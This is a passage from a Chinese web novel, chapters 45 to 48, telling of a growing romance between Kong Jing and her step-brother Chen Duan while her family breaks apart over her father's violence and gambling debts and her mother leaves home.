话出口,孔净才发觉这两个字似曾相识。她问陈端这个问题时,他也是这么答的。 孔大勇暴跳如雷,“老子问你去哪儿了,你给老子说外面。不是外面还是里面?” 孔净就没说话了。 她不再是小孩子,不会因为无缘无故被孔大勇凶两句就吧嗒吧嗒掉眼泪。 孔净转身上楼,但是孔大勇又把她给喊回来了。 “你,去把你弟弟喊回来!” 他用一根粗短手指隔空指着孔净,指得很用力,这代表这个命令孔净必须完成。 但是孔净无动于衷,“我不去。” 嗯?? “格老子的——!!!” 孔大勇震惊,比几天前被陈端挡在会所门外还要震惊! 在他眼里孔净一直是文静甚至是懦弱的,想象中只要他稍微抬下手,孔净就会捂着脸哭着说“爸爸我不敢了”。 孔净没理会孔大勇接下来的花式方言骂人表演,蹭蹭蹭地跑上了楼。 房门一关,垂眼就看见那张铺着黑白格子三件套的单人床。 她疯了才想着帮他把床上的褶皱弄平。 晚上孔净看书看到零点过,才爬上床休息。 关灯之前顺手把门反锁了。 因为太累,脑力和体力的双重疲惫,孔净睡得很沉。 不知道什么时候,“哐当”一声,沉到黑暗深处的意识忽然被暴力往上扯。 快要扯出睡梦的水平面,又恍恍惚以更快的速度往下坠。 孔净早上醒来,约莫还记得凌晨的时候似乎被什么声音给差点惊醒了。 她没多想,以为是厂房里机器出了故障。 起来拿了洗漱用具就往外走,门一开,差点被一个庞然大物绊倒。 惊悚地往后退两步,在尖叫声窜出喉咙之前看清了弯折在门口地板上的是个人。 门口的少年后背靠着一边门框,一只手搭在屈起的左腿膝盖上,垂着头眼睛是闭着的。 他没穿会所那身劣质工装,身上一件黑色T恤搭深蓝牛仔裤,样子看着很清爽,但是止不住一股从声色场所带出来的呛人味道。 孔净刚才不小心踢了他一脚,但他一点没动。 平时那么觉轻的一个人居然睡得这么死,可见是累了。 孔净心里说不上是什么感觉,又酸又涩,又气恼。 她没喊他,抿了下唇,直接跨过去算了。 抬腿贴着另一边门框越过去,前脚落在外面走廊地上,后脚刚要抬起来脚腕就被灌上铅,一下被定在了门内的水泥地上。 这比刚才一开门发现门口睡着一个人还惊悚。 孔净手里的洗漱用具差点就掉了。 她唰的一下低头,靠在门口沉睡的人懒散仰起脸,原本搭在膝盖上的手现在正稳稳握住她的脚踝,修长指节卡在她睡裤裤腿和脚踝皮肤之间,握力稍稍加大。 孔净用力挣了两下,当然没挣开。 她跨在陈端上方呈弓箭步,动作既尴尬又不好掌握平衡。她狠狠瞪了陈端一眼。 陈端还是仰头的姿势,看见孔净涨红的脸,他忽然勾唇笑了一下。 两颗酒窝在这个时候荡出来肯定就是讨打来的。 可是他眼白里的血丝在这个角度也更加明显。 孔净本来打算用脸盆打他的头,让他因为吃痛而放手,这个瞬间却放弃了这个念头。 “放开。”她说。 陈端没放,他继续仰脸对孔净笑,语气有点控诉意味的,“你昨晚把门反锁了。” “我每天晚上睡觉都反锁。” 谁知道你要回来。 不是不回来吗? 没人邀请你。 陈端不置可否,“我给你发信息了。” “哦。” 关她什么事。 陈端不说了,握住她脚踝的手直接加了点力道,指腹在她踝骨处上下一搓。 孔净像被什么东西咬了一口似的,她浑身一激,被他抓住的后脚奋力往上拔。 就跟陷进沼泽了一样,越是用力,越是没办法抽身。 她气得用力剜陈端。 陈端心情很好的样子,又重复了一遍,“我给你发信息了。” “所以呢?我现在回你???” 孔净后脚拔不出来,但是脚尖可以踢陈端斜搁在地上的腿,说踢不准确,应该是拱。 拱的位置还很特殊,是陈端的膝盖窝,那是他的痒痒肉,以前孔净有时整蛊他就会在后面冷不丁往那儿踢一下,运气好就会看见陈端膝盖一软,然后回头递来一个死鱼样的眼神。 但是现在看陈端纹丝不动,孔净严重怀疑他以前是故意配合她演戏。 孔净烦得要命,手里的脸盆真的就要往他头上盖,那只握住她脚踝的宽掌却磋磨着往上爬,指节卡在她睡裤里,上面细小的薄茧贴着她的小腿皮肤过电似的往上。 这种程度的亲密以前也有过,但因为是姐弟,手碰一下腿撞一下好似也正常。 可是今天却不同,可能是陈端故意在动作上流露出的别样意味,孔净只觉得整条右腿都火辣辣地烧。 “下流!” 孔净一点没想收着力道,再没有半分犹豫,脸盆盖过去。 陈端却预判了她的动作,空着的那只手抬起来挡住了她的袭击,覆在她小腿上的手再一握,然后快速松开,他后背蹭着另一边的门框直接站了起来。 孔净反应不像他那样快,后脚没收及时,身体往侧边歪了一下。 门框那么窄,旁边的少年忽然俯身托住她的侧腰,热烈的口息扑在她的耳廓上,“小心点,姐姐。” 孔净以前有事没事就逗他要他喊姐姐,但现在她最讨厌从他嘴巴说出这两个字。 她贴在他腹部的手肘用力一击,强烈的痛感使得陈端微微弯下腰,后背撞到门板发出“哐”的一声。 孔净往前两步和他拉开距离,与此同时,隔壁房门忽然被人从里面打开。 孔净心跳加速,赶在李贤梅出来之前,转身快速走向旁边的楼梯口。 错身的时候,余光扫见陈端懒懒倚着门板,视线追随,清爽俊朗的面孔上居然带着笑。 孔净以为他不是疯了,就是有受虐偏好! 她后悔没把衣服带下来一起换掉,拖拖拉拉洗漱完,木着一张脸回到楼上,却没见陈端身影。 楼下忽然传来孔大勇日天日地的声音,孔净拉开门出去,视线越过走廊栏杆看见孔大勇站在自己的进口摩托车旁撸起袖子就要和面前的少年比划比划。 几年前孔大勇就得出结论,小崽子已经长成了小狼,真要比狠,他不可能占到一点便宜。 但今天就算豁出这条命,他也要给陈端一点教训,叫他知道谁才是老子! “爸!” 就在孔净喊这一声的时间里,孔大勇已经哼哧吭哧打出去好几个空拳。 陈端根本没有格挡的意思,左边闪一下右边偏一下,溜得孔大勇差点撞上他心爱的进口摩托。 “妈了个巴子……” 孔大勇喘着粗气,受辱的意味很强烈,他顺手抄起旁边一根废钢管,转身就朝陈端脑袋上面敲。 陈端没想到孔大勇会拿工具,但他反应很快,迅速歪了一下头,所以钢管并未砸中要害,而是落在了他的左肩上。 孔净转过楼道跑下去的时候,孔大勇已经被两个工人给拦在了一边,仍旧紧抓着钢管不放,鼓着眼睛大骂道:“敢管老子!老子就是把这个家败光了也轮不到你这个狗杂种指手画脚……” 陈端右手青筋暴起用力按着左肩,他静静盯着孔大勇,“狗杂种”三个字滚石一样砸进脑海里。 石材厂里最不缺的就是石头,地上现成就有趁手的,他俯身拾起一块。 “陈端!你别!”孔净扑过去,几乎是撞在他身上,推着他一起往后退了几步。 其他工人陆续赶过来,家眷们也围过来七嘴八舌地劝。 李贤梅最后才来,事情经过约莫已经弄清楚,她把孔净和陈端单独叫走。 她看陈端的眼神还是很复杂,这么多年,却是第一次用这么和缓的语气问陈端:“你孔叔打你哪儿了?” 陈端没说话,额发低垂,眉峰压得很低。 李贤梅看了眼陈端明显比右边肩膀要低一点的左肩,她抽了几张钞票让陈端去趟医院。 “不用。” 陈端没要李贤梅给的钱,也没看她,转身就往厂门外面走。 “等等!” 孔净抓了手机和包去追陈端。 太阳还是很烈,陈端走得很快,高挺的身影像一道边缘锐利的浓墨,在噪音尖啸的厂区里笔直前行。 孔净在后面追着,不知道为什么,眼前的人忽然和多年前那个站在蚊帐外静静等着孔净分一半床铺给他的小男孩重合。 她抿紧唇,加速跑到他身边,“我陪你去医院。” 陈端没吭声,也像是没听见孔净的话。 他往前走,一直走,动作机械重复,侧脸锋利冷沉。 这让孔净想到那个台风天,她感到一阵后怕。 “陈端!”她抓住陈端一边手臂,指甲几乎嵌进他的皮肤,掌心摸到一片纵横凸起。 那些陈年旧疤。 孔净太慌乱了,看见陈端眉心紧皱,左肩下意识偏了下,才反应过来可能碰到了他刚才被孔大勇打伤的地方。 急急松开手,“你……” 陈端像是才发现她的存在,一双眼睛又黑又沉,盯牢这世间唯一一个同类一样盯住孔净。 “这么担心我?” 他说话时嘴角上弯,眼里却没有任何笑意。 孔净知道什么是轻重缓急,这个时候没必要把这些天发生的事情牵扯进来,她现在的首要目标是带陈端去医院。 “对。” 她仰脸看着陈端,因为跑得太急因为担心,所以鼻尖和额角都覆上一层细汗。 “可是我不想去医院。” 陈端的目光从孔净的眼睛扫描到她的鼻梁。 然后是她豆沙色的冒着热气的嘴巴。 “除非……姐姐答应我一个条件。” 第46章 我也想试试 “别闹了好吗?” 孔净被他视线灼伤, 嘴唇很干,她下意识舔了一下。 陈端眉眼随着她这个动作压得更低了,慢慢俯下身视线与她齐平。 “姐姐……” 孔净往后退一步,“我再问一遍, 去不去医院?” 陈端不答, 只是静静看着她。 孔净噼里啪啦地按着手机, “不去就算了,刚好我还有事,我约了孟学长, 他好不容易回来一趟……” 话没说完,听见一声嗤笑。 孔净耳朵尖一麻, 两根净白长指伸过来把她手机取走。 陈端扫眼一看,聊天框上孟书宇三个字白晃晃的刺眼。 虽说他从来不待见孟书宇, 但在这个时候见孔净把这个人拖出来威胁他, 心情倒是莫名好转了。 “你一直知道我为什么讨厌他, 对吗?” 倘若孔净真像她说的那样,一直只把陈端当弟弟看,现在又怎么会拿一个潜在的追求者来刺激他,逼他就范。 只能说明, 孔净对陈端所谓的姐弟情谊, 根本不像她嘴上宣扬的那么清白。 “姐姐, 你好狡猾。” 陈端叉掉聊天框,熄屏,把手机重新放回孔净手里。 大拇指腹故意擦着她的手背蜿蜒慢行。 孔净一下抽回手,把手机丢回包里,狠拉一下肩带,“不知道你在说什么, 去医院!” 孔净大步走在前面,陈端跟散步一样,投在地上的影子时而绕在她的脚边,时而落后干脆看不见。 孔净以为他故意拖延时间,猛然转过头,看见他眉眼紧皱,似乎在忍痛。 但他发现孔净视线,却立即变出一个笑来,虽然这笑并不达眼底。 催促他快点的话生生被孔净咽下了。 她后悔刚才就算自行车被人群堵在了角落,她也应该挤进去把车骑出来。 现在再折回去已经不现实。 孔净放慢脚步,等陈端跟上来的同时不停前后张望。 陈端抬手就从她脑后绕到眼前,净白手掌挡住她视线,“看什么?” 孔净立马就想拍掉他的手,但脑海里一瞬浮现他刚才走在身后忍痛的表情,力道收得很及时,指尖微微往内一扣,握住他的手慢慢往下拉。 很像是牵手。 陈端垂眼看着两手重合在一起的手心,有那么一瞬间的怔愣。 尽管孔净把他的手拉到身侧垂着之后,就立即放开了,陈端脸颊上的酒窝还是逸了出来。 孔净偏过脸不去看他的表情,心里在吐槽这有什么好笑的同时,忽然心酸他有时候也太容易满足了。 还是那么好哄。 因此当她发觉那只被她放开的手,主动伸过来轻轻圈住她的手腕时,孔净并未第一时间挣开。 她笔直地望向前方,大片厂房和公路被发白的阳光照成了模糊色,所有的感官注意力都被集中在右手腕。 起初她感到只是被两根长指松松圈住,几秒之后,见她没有挣脱的趋势,剩下三根指节也悄无声息地附了上来。 他们肩并肩往前走,谁也没有再说话。 却有一种无声的躁动在空出来的十公分间隙中挤压,然后从他们互相触碰的地方灌进去。 孔净知道陈端一直在看她,随着他宽大手掌整个握住她手腕,然后慢慢下移,指节挤进她手指间的空隙,几乎变成掌心贴掌心、十指交握,陈端的目光也越来越深,越来越肆无忌惮地释放咬合力。 走到前面的公交站牌,依旧是这个肩并肩牵手的姿势站着等车。 阳光洒在他们身上像是黄油,他们也快要融化。 远远看见一辆公交驶来,孔净故作平静的表情有了一丝裂痕,手心里也沁出汗来。 陈端忽然笑了一声,很愉快的,“这么怕被熟人看见?” 他偏过脸认真端详孔净,为他们两个在光天化日之下的共同逾越而隐秘雀跃。 “你不怕吗?”孔净反问。 “为什么要怕?”陈端笑着说,“姐姐和弟弟这样不是很正常。” 正常吗? 在孔净出声之前,陈端又笑了下,“还是说……你对我难道有什么不正常的想法,姐姐?” 黄蓝色的公交车越驶越近,陈端把姐姐两个字尾音拉长。 孔净透过车窗已经可以看见最前面的司机和他后面跟着车身轻轻摇晃的乘客。 “你才知道吗?” 孔净转过脸对上陈端的怔愣的目光。 在公交车到站之前,她从陈端的宽掌中抽出自己的手。 车上有并排的空位,但是孔净没坐。 她直接走到最后一排跟临近走道的乘客说了句“麻烦让一下”,然后挤进去,坐在靠窗的位置。 陈端随后上来,在晃动的座椅空隙中扫到她的身影,没跟过来,也没找位置坐下,他就站在后门扶手边,对着车窗,好像在出神。 虽然气温和盛夏时节差不多,但毕竟已经过了夏天,车里没开空调,取而代之的是所有窗子都大敞着,热风呼啸着涌入,在窒闷的车厢里回旋,然后当风也受不了的时候便就近找个窗口再冲出去。 孔净脑袋昏昏涨涨,碎发混乱黏在脸颊和额头上。 可她被这场热风刮乱的又岂止是头发。 忽然想到今年的台风好像还没来。 应该,快了。 这辆公交直达镇医院,孔净直接帮陈端挂了急诊外科。 在外面等了没一会儿,听到护士叫号,孔净跟着一块起身,却被陈端按在椅子上。 “一诊一患,家属留步。”他下巴往诊室门口贴的温馨提示抬了下。 提示归提示,真正遵守的人少之又少,孔净看见前边那个患者被好几个人簇拥着进去又出来。 她抬眼看一下陈端,是不想被她看到伤在哪儿以及伤到什么程度吧。 “哦,是吗。”孔净拿出手机,“不让进的话正好空出时间和孟学长聊聊。” 两人目光相接,孔净冷着脸不似作假的样子。 陈端虽然轻啧了一声,但是并不讨厌被她威胁和拿捏。 进到诊室,医生还没开口,陈端就说:“拿点跌打外伤的药。” 孔净直接在后面踢了他左腿膝窝一下,陈端是真不设防,也没想到孔净在外面也这么嚣张,他膝盖一软,高挺身形往旁边一偏,样子几分滑稽。 他转头看了孔净一眼,孔净没理他,推着他后腰把人推到医生面前坐着。 医生微微挑一下眉,因为看出这两人是谁做主,在陈端不配合露出受伤部位时,医生笑着看向孔净。 “衣服还是裤子?你自己脱还是我帮你脱?” 孔净板着脸问,把姐姐的威严发挥到极致。 陈端眼尾抽动一下,心想下次你换个地方问试试。 陈端满脸写着大题小做,但当他把T恤脱掉,医生的表情一下变了。 “这不闹着玩吗?都这样了还只想着拿点跌打损伤的药?年轻人啊年轻人……” 孔净抿紧唇,目光落在陈端的左肩,原本冷白色的皮肤已经成了青红淤紫,平直的肩骨有一处明显往下凹陷。 医生在电脑上开单子,“骨折了,我都不用上手摸。先去拍个片看到什么程度了,你们这些年轻人……” 数落声和键盘敲击声一并响起来。 陈端仰头,两颗酒窝格外招摇。 孔净抓着包用力撇过眼,笑? 还笑得出来! 拍片确定是骨折,医生要给陈端上石膏固定,他扯了下唇,想说不用,余光掠过一旁的孔净,只好噤声,任医生摆布。 从医院出来已经是下午两点多,两个人都没吃午饭,陈端提议去中心商场吃过桥米线。 因为左肩上要弄石膏板,医生用剪刀把他领子剪成了豁口,但是他单手插兜,不仅一点不显狼狈,俊美面孔上始终带着笑。 给人感觉骨折的其实是别人,而他左肩上的石膏不过是最新流行的另类装饰。 孔净看见他这样就忍不住想打他,但是她忍住了。 仰脸对他笑一下,“好啊。” 陈端一早觉得孔净在医院门口的笑透着古怪,远远看见那个站在商场门口打扮得人模狗样年轻男人,他才在心里暗骂一声,原来在这儿等着。 “孟学长!” 孔净想也知道陈端此刻的表情有多精彩,直接不予理会,而是绽出十二万分的笑容冲着孟书宇挥手。 孟书宇因为孔净不同寻常的热情而略感惊讶,此前差点被孔净放鸽子的不快也相应消失了。 只是看见孔净一身睡衣的装扮,心里不免有些好笑,也太不重视他了吧。 “我都准备把资料直接送到学校保安室了,没想到又收到你发来的消息说这会儿有空。” “不好意思学长,没耽误你办其他事吧?” “没有,回来这几天也都在家宅着。”孟书宇笑着也和陈端打了个招呼。 陈端看他一眼,冷若冰霜的姿态。 孟书宇笑笑,自发朝孔净走得更近些,一边关心她最近的学习状况,一边插进几句讲述他在大学的见闻。 尽管两人中间还隔着二十公分,但是孔净从未和除陈端以外的异性距离这么近过,她本想往旁边让一步,但是余光轻转,扫见后面少年的臭脸,她忽然打消这个念头。 孟书宇已经吃过午饭了,但他还是非常绅士地陪着一起进了那家新开的米线馆。 四人位的卡座,他坐孔净对面,不时添水帮拿餐巾纸,体贴到家。 “怎么不吃?” 中途,孔净发觉陈端面前的三鲜米线一筷子没动。 陈端扯了下唇,还知道这里坐了个人,眼神真好。 “受伤了,”他转头看孔净,“姐姐,你不介意喂我吧?” 鱼丸在嘴里停顿两秒然后被孔净整个咽下。 “你伤的是左肩。” “右肩右手也没劲。” 陈端冷白眼皮轻轻往上一撩,“姐姐。” 此前姐姐这个称呼还只是发生在仅有他们两个人的情况下,但现在陈端把它抬到台面上,尽管其中的旖旎成分已经收敛,可是微微拉长的尾音还是像细密的蛛网轻易捕获孔净的听觉神经。 孔净在桌子底下抬了下脚。 陈端:“姐姐你踩到我了,是不小心吗?” “……” 孔净想揍陈端,很想。 这餐饭以诡异的速度结束,陈端那碗米线从始至终没动过。 孔净请孟书宇喝了一杯咖啡之后,就迫不及待和他告别。 其实本来也没想和孟书宇多待,只不过有了米线店里的那一出,落在陈端眼里就成了落荒而逃。 “姐姐。” 陈端拖着比刚才过分一百倍的尾音,在后面喊她。 表情却无害,仿佛真的只是把她当成姐。 孔净猛地转过身,“我记得你上回告诉我你成年之后最想做的是接吻。” 陈端一怔,目光被她这句急剧吸引,几乎是以光速落在她一张一合的饱满唇瓣上。 但他没那么天真。 “什么意思?” 孔净捕捉到他的视线,耳后皮肤瞬间烧红。 可她表现得很镇定,“我也想试试。” 可以跟你试。 也可以跟别人试。 如果你不安分的话。 第47章 最终只剩他们 “把我当驴?以为吊根胡萝卜在前面, 我就会心甘情愿被你牵着鼻子走?” 陈端被孔净那句“我也想试试”搞乱阵脚,语气却一贯冷清。 他想提前预支,再不济也要先尝点甜头。 “你可以不信,没人逼你照做。” 孔净比他更强硬。 撂下这句, 转身就走。 脑子早就乱成了浆糊, 提着孟书宇给的复习资料, 随便钻进一辆公交车,没管陈端跟没跟上,心里甚至祈祷他最好不要跟上来。 但当公交车摇摇晃晃穿行在林立的商铺之间, 孔净转头梭巡车里的乘客面孔,发现真的他没上来, 孔净不知道是该松一口气,还是更气闷一点。 这辆公交不去石材厂区, 孔净过了几个站之后就下了车。 没再花时间去倒公交, 而是奢侈地拦了辆出租车。 以最快的速度回到嘉福石材厂, 推开楼上的房间门,陈端还没回来。 孔净绷直的肩膀回弹几分,最好今天之内都不要再碰面。 她根本没想好在说出那句之后,该怎么继续和他维持这荒唐的姐弟关系。 孔净收了书包就想直接去学校, 下楼之前想到应该和李贤梅说一声陈端的伤势。 隔壁房间门没关, 东西乱作一团, 孔净还以为孔大勇后来又转移战场和李贤梅吵。 “陈端怎么样?” 李贤梅看起来挺平静,不像吵过架的样子。 孔净简单说了陈端的情况,李贤梅沉默片刻,转身从衣柜最深处掏出一张银行卡,“给他买点营养品。” 顿了顿,她又说:“他一直都听你的, 叫他别去那种地方了。你爸已经烂透了,拦不住的……” 李贤梅见孔净面露惊疑,才发现孔净并不知道陈端为什么突然跑去悦色兼职。 她动了动嘴巴,最后还是没跟孔净解释。 陈端这样做李贤梅不会感谢他,因为根本无济于事。 李贤梅继续把东西都掏出来,一件一件分类搁置。 “妈,我们又要搬家吗?”孔净问。 “换季了,我把秋冬的衣服找出来。” 李贤梅头也不回地说。 “哦。” 孔净看见她把多年前买的唯一一条金项链塞进包里。 “……爸呢?” 李贤梅没说话,连冷哼都没有。 孔净骑车到学校时已经快六点,教室里闹哄哄的。 齐淼见她来了赶紧转过身,以两只洪濑鸡爪作为报酬找她讨要假期作业来抄。 “抠死了,就两只凤爪。” 林语珂凉凉评价。 “什么凤爪,闽城传统卤味小吃洪濑鸡爪,以独特配方和Q弹口感闻名于世!”齐淼瞥一眼她摆在桌上的进口饮料,“喝这么多印日文的东西,小心哪天起床直接变成小日本,歪歪莫西莫西……” 林语珂呵呵她,“吃不到葡萄说葡萄酸。” 齐淼虽然着急抄作业,但是还是挠挠头,奇怪道:“你家中彩票还是捡到钱了?” 林语珂警惕,“干嘛?” “这种饮料真的很贵,我在网上看见过,你家如果不是突然成了暴发户怎么可能舍得买。” “不行吗?” “有什么不行?”齐淼说,“喝一瓶有什么了不起,要天天喝才牛逼。” 林语珂瞪了她一眼,过了会,她把摆在桌上的饮料瓶放进了桌肚。 孔净来学校之前给陈端发了一条信息,没说其他,直接下指令让他从今晚开始一节课也不许逃。 【如果逃了呢?】 陈端这样回。 孔净:【你可以试试。】 至于如果陈端真的试了,会带来怎样的后果,孔净没说。 但似乎一切都和她下午说的那句“我记得你上回告诉我你成年之后最想做的是接吻”,隐秘地挂上了勾。 陈端当时对着手机扯了下唇,似乎有些不屑。 半分钟后,他熄灭屏幕,把手机扔进兜里,单手骑着自行车……进了清安高中的校门。 他不可能承认自己是驴,但孔净就是在他面前挂了根令他垂涎的胡萝卜。 陈端历来是学校的风云人物,晚自习刚上了一节,各个班就都知道了他左肩受伤的事。 关于他怎么受的伤,大家众口铄金都传是因为他在校外跟人打架。 “我早就听人说陈端打架超凶超厉害!这次不知道遇到什么样的对手,居然伤成了这样。” “哇你们有没有觉得他肩上的石膏板要露不露的样子真的很勾人啊!” “肩更宽了,腰更窄了,腿也更长了……” 孔净默默旋开保温杯盖喝水,脑子里过了遍陈端下午从医院出来时的形象,虽然她们说的百分之八十都符合事实,但她还是在心里说了句丑八怪! 孔净一直提心吊胆,怕陈端在晚自习期间会来找她,但连续两天陈端都没在她面前出现,课倒是真的没再逃了。 午休时间,孔净从食堂回来经过操场,远远看见一条颀长身影仰躺在看台台阶上晒太阳,校服外套兜盖在脸上,没受伤的右臂枕在脑后。 远近欢闹声此起彼伏,他却浑不在意,不知道真睡着了还是装睡。 这样的相安无事让孔净着实松了一口气。 周三一早就开始下雨,这场雨来得迅猛,不仅将国庆期间回升的气温急剧逼退,还把校园里所有的植物都浇成了深黄色。叶子重重叠叠掉在校道上,踩上去溅起雨水的同时还有咯吱的声响。 孔净衣服没穿够,秋冬校服里只有一件单薄的打底衫,课间去厕所被走廊上的风一吹,顿时把脸缩进衣领里,冻得像个鹌鹑。 然而到了下节课打铃,齐淼出去一趟回来时手里就抱着一件毛衣,献宝一样捧到孔净面前。 “凛冬送暖衣,校草送温情。陈端给你的!” 孔净认出来了,这件灰色净版毛衣还是去年寒假,她硬拉陈端去商场买给他的。 孔净快速瞥了眼窗外走廊,一点影子都没有,也不知道他是会算卦还是会未卜先知,连照面都没有,怎么就知道要送衣服给她。 她套上毛衣,体温瞬间被锁住,那股凌冽的皂香和窗外的冷空气一样凶猛而不容忽视。 转过头,见林语珂好像在盯着自己身上的衣服发呆,“怎么了吗?” “啊?”林语珂摇摇头,好似随口一说,“感觉好像校园偶像剧,如果陈端不是你弟弟,你会喜欢他这种类型吗?” 孔净一愣,她低头把卷子放进文件夹,“怎么会有这种假设……他就是我弟啊。” “你这个文件夹不是放理科卷的吗?” 林语珂提醒她手里拿的是语文卷子。 “嗯,看错了。” 孔净把已经放进去的卷子抽出来,再去找放语文的蓝色文件夹。 “听说孟学长这次国庆节专门回来找你。”林语珂又说。 “哪有专门,只是顺带把他用过的复习资料捎给我。” “资料?我可以看一下吗?” “我放在家里了,明天带来。” 林语珂扁扁嘴,“你们这些学霸成绩已经这么好了,有好东西也不主动拿出来分享。要不是被我问到,你肯定不会记得要把资料给我也看看。” “那是因为……” 林语珂的态度总是模棱两可,主动把错题集之类的东西分享给她,她就会觉得被看扁,好像孔净故意在她面前显摆似的。 如果不给她,她发现之后又会像现在这样攻击孔净小气。 发生的次数太多,孔净就不再做吃力不讨好的事,甚至两人就算同桌,也很少再和她讨论有关学习的事情。 “啊算了,我就是随便说说,孔净你不会生气吧?” 每次林语珂都这样结尾。 “会哦。” 但是这次孔净这样回她。 林语珂愣住。 林语珂的话没什么杀伤力,但是讲多了总是让人不舒服,就算小针一样扎人。 孔净对她笑笑,拿出下节课要用的习题册。 课上到一半,教导主任来教室找人。 大家都以为又是哪个倒霉男生被抓到把柄,任课老师站在门口和教导主任交流两句之后,忽然转身对着教室说:“孔净你来一下。” 孔净在全班的注目礼中起身,脑袋里冒出的第一个念头是陈端闯祸了。 “你跟我去一下校门口,有个喝醉酒的男人跑来闹事,他说他是你爸,你别担心,先过去认一下是不是……” 雨下好大,噼里啪啦砸在伞面上,教导主任的话透过雨幕钻进耳朵。 保安室里很乱,昏黄灯光从侧边的小窗透出来,几条人影急速晃动,还不时传来“砰砰”的打砸声。 孔大勇喝很多酒,好几个保安都按不住他,他那双被酒精毒害的眼睛仿佛彻底罢工,看谁都是仇人。 “狗日的你们都看不起老子!老子当年混得好的时候个个都来巴结老子……” “XXX逼!老子跟你们拼了!敢把老子婆娘拐跑!老子要你们的命!” 教导主任没让孔净进去,就站在窗外问孔净:“是你爸爸吗?” 孔净撑着伞耳边全是雨落下的声音,过了好几秒才点点头。 教导主任脸上全是痛惜的表情,大概是为孔净有个这样的爸。 孔净紧紧攥住伞柄,掌心硌得生疼。 她发觉不对,下意识转头,“陈端呢?他又逃课……?” “没有逃课,请假了。听他们班主任说他下午体育课跑去打球,身上还挂着石膏真是不知死活,晚上说不舒服就回寝室休息了……” 教导主任怀疑陈端根本就是不想上课才故意搞这么一出,但是也奇了怪了,从前经常一个招呼都不打直接旷课的人,居然会请假。 见鬼了。 “可以先别告诉他我爸的事吗?我先回家看看。” 孔净担心陈端的伤势,但更担心处于疯癫状态的孔大勇见到他之后会复刻几天前的暴力行为。 孔大勇醉成那样,居然还是骑摩托来的。 孔净没敢坐他车,匆忙回教室收了书包去车棚取车。 把车子推出校门,姑姑姑父也来了。 教导主任见状就说:“自行车我帮你推回去锁着,你先回去看看,无论发生什么事都不要影响学习。” 孔净和孔大勇一起钻进姑父的面包车。 车里充斥着酒味,以及孔大勇无休止的谩骂。 他这会儿倒是清醒了些,把火力全对准李贤梅,他说会咬人的狗不叫,平时看起来那么蔫不拉几的一个人居然有胆子跑!跑还不算,把家里的存折银行卡全卷走了!要跑就跑远点,要是被他找到非要扒她一层皮!这么多年没动过她一个手指头,到头来整这么大一出…… 孔小琼听不下去,“没动过手也算得上是你做的好事?哪个女人嫁人过日子就图这个?你要是不在外头乱嫖乱赌,嫂子会跑?!” “老子、老子就是赌也会为了这个家!别个都能以小博大,老子就是运气不好……” 孔净在这个时候才知道孔大勇染上了赌。 难怪。 就像掉了一半的鞋子终于“哐当”落地,孔净在震惊中居然感到一丝平静。 “你运气不好?我看你是脑壳不好!” 孔小琼平时顶温和一个人,忽然哭着和自己不争气的哥哥吵起来。 赵健在中间做和事老,面包车在雨夜里开得歪歪扭扭。 孔净坐在后排一言不发,她想到李贤梅那天站在屋里收拾东西的背影,还有那条被她塞进包里的金项链。 面包车拐进嘉福石材厂,原本应该散落在厂房和宿舍的人此刻都集中在孔净他们家楼下,大家七嘴八舌都在讨论该去哪里找人,又猜测李贤梅是不是被人骗了才跑的。 女人们围着孔净,一边安慰她,一边让她使劲想想李贤梅能跑去哪里。 “我不知道。” 孔净摇摇头,除开这四个字,她没说其他。 滑稽的是,孔大勇见大家这样热心肠,居然又去厂旁边的餐馆订了几桌,在推杯换盏中豪迈表示女人如衣服,模样潇洒,好像在清安高中保安室里愤怒打砸、在面包车里竭力痛骂的人根本不是他。 孔小琼要被孔大勇怄死,她打发女人们都回去休息。 房门一关,她握住孔净的手,“你妈是真的不容易,是我早就跟你爸离婚了……你怨她吗?” 孔净抿紧嘴巴,还是摇头。 夜深了,陈端还是赶回来了。 漆黑的身影冲破雨幕,他站在门口大口喘着气,头发衣服都是湿的。 “孔净。” 孔净望一眼窗外,“你怎么不打伞?” “孔净。” 陈端嗓子有点哑,几步走来,不由分说抬手就把孔净拉向自己。 孔净的鼻子撞在他左肩的石膏板上,有点酸,连带着眼眶也一并被撞出了湿意。 好奇怪。 得知李贤梅离家出走,孔净一点眼泪没掉。 现在却忽然有了嚎啕的趋势。 她两手用力在陈端后背交错,像是要打成一个死结,害怕他也突然消失。 走掉的人是为了寻求自由。 留下的人为了抵抗孤独,用尽全力寻找一个伴。 雨继续下,这个世界最终只剩他们了。 第48章 我只有你了 孔大勇去派出所报人口失踪, 民警了解事情经过,得知他欠了一屁股赌债之后,完全收起同情的表情。 并且告诉孔大勇,这属于家庭纠纷且没有违法犯罪或侵害行为发生, 建议他自己先想办法找。 意思就是不管。 孔大勇听不懂什么家庭纠纷什么侵害行为, 派出所不敢砸, 他就用撒泼的方式在门口大闹特闹。 但得知再这样闹下去很有可能会被拘留,他立马从地上爬起来,骂骂咧咧地走了。 老家那边也没有李贤梅的消息, 她就像一粒沙子扑进了人海沙漠,完全失去踪迹。 在孔小琼和赵健的软性审问下, 孔大勇怀着破罐子破摔的念头,一边发脾气一边把欠债情况透了个底朝天。 孔净拿到孔小琼列的债务清单, 心里只有一个想法, 李贤梅走是应该的。 “你们还是先好好读书, 已经高三了,什么事情都没有复习重要。” 孔小琼给孔净拿了一千块,“别让你爸爸知道,你先拿去用, 后面……再说。” 孔净没要。 孔小琼只是叹气。 救急不救穷, 更何况是赌债。 就算是亲兄妹她也不敢, 更没有能耐插手管。 孔小琼和赵健走了。 孔大勇现在完全是被老婆卷走全部家当跑掉的失意男形象,他更有理由买醉堕落,摩托车油门一轰,连个残影都抓不着。 厂子里人心惶惶,没了李贤梅就等于没了主事人,很多工人已经开始在询问周边厂的招工信息, 孔净一家搬出嘉福石材厂是迟早的事。 但棘手的是,工人们干一天活就赚一天钱,上个月的工钱虽然已经结清,但这个月过去的十来天不可能白干。 于是,工人和他们的家眷有事没事就往楼上跑,甚至轮班在楼下盯梢,就怕孔净和陈端也带着仅剩的东西跑了。 “这个你拿着。” 这两天孔净和陈端都没去学校,两人把门关严实清净坐着吃饭,陈端忽然抽出一张银行卡推到孔净面前。 孔净垂眼,hello kitty的联名银行卡,不是她那张。 “别人包养你,你来包养我?” 孔净还记得陈端曾故意当着她的面把这张银行卡甩在桌上,当众邀请班里同学去悦色消费。 陈端一下笑了,“前半句不对,后半句求之不得。你让我包养吗?” “神经。” 孔净把卡推回到陈端面前,却被他一下攥住指尖,“你拿着包养我好不好?” 他的掌心温热,话是笑着说的,两颗酒窝是蛊惑的好帮凶。 “不好。” 